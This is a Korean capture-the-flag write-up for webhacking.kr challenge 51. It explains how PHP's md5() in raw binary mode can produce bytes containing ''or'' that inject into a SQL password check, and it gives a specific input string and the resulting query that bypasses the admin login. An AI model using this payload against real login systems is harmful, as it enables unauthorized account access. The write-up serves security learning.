write-up/webhacking.kr

51번

범고래_1 2016. 4. 9. 16:15



소스를 보면...




자세히 보면 md5함수의 두 번째 인자가 true이다.

php의 md5함수는 두 번째 인자가 TRUE이면, 해시를 길이 16의 바이너리 형식으로 반환한다. 기본값은 FALSE이다.

(PHP Manual : http://php.net/manual/kr/function.md5.php)


$str = "129581926211651571912466741651878684928"라는 문자열을 예로 들면, 

md5($str)은 06da5430449f8f6f23dfc1276f722738이지만,

md5($str, true)는 ÚT0DŸo#ßÁ'or'8이다.


id에 admin, pw에 위의 문자열을 입력했다면 전체 쿼리는 

select id from challenge_51_admin where id='admin' and pw='ÚT0DŸo#ßÁ'or'8'


앞부분은 모두 거짓이고, 8은 참이므로 결국 모든 행을 리턴하게 된다.



'write-up > webhacking.kr' 카테고리의 다른 글

webhacking.kr 파일 업로드 문제  (0) 2016.07.16
57번  (0) 2016.04.09
45번  (0) 2016.04.09
8번  (0) 2016.04.09
56번  (0) 2016.04.09